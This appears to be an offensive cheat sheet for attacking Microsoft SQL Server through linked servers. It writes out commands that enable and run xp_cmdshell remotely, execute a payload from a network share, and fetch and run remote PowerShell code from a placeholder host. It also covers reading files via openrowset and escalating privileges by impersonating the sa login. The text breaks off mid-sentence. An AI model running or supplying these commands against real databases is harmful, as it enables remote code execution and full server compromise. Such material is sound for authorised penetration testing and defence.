select version from openquery("<server>", 'select @@version as version')
Command through linked server
EXEC('xp_cmdshell ''\\<ip>\public\payload.exe'';') AT [SERVERNAME]
EXEC('xp_cmdshell ''powershell.exe -exec bypass -c "iex(iwr http://<ip>/run.txt -usebasicparsing)"'';') AT [SERVERNAME]
This can also be nested (potentially coming back to the own server with different permissions):
EXEC ('EXEC (''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT SERVER1') AT SERVER2
EXEC ('EXEC (''xp_cmdshell ''''powershell.exe -exec bypass -c "iex(iwr http://<ip>/run.txt -usebasicparsing)"'''';'') AT SERVER1') AT SERVER2
Read file through linked servers
select * from openquery("<server>.<domain>", 'select * from openquery("<server>.<domain>", ''select * from openrowset(bulk N''''C:\x.txt'''', single_nclob) as contents'')')
Linked Servers via Metasploit
We can use "windows/mssql/mssql_linkcrawler" to find linked servers and even execute commands on them.
EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT [<server>]
EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [<server>]
SELECT * FROM OPENQUERY("<server>", 'select * from sys.configurations where name = ''xp_cmdshell''')
Running xp_cmdshell through serverlink
SELECT * FROM OPENQUERY("<server>", 'select @@servername; exec xp_cmdshell ''dir c:''')
This will however not give any output (but still execute).
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
This allows us to run a query as another user:
EXECUTE AS LOGIN = 'sa';
To compromise a complete server, the database user we impersonate must be in a db that has the "Trustworthy" property (by default only "msdb"), e.g.: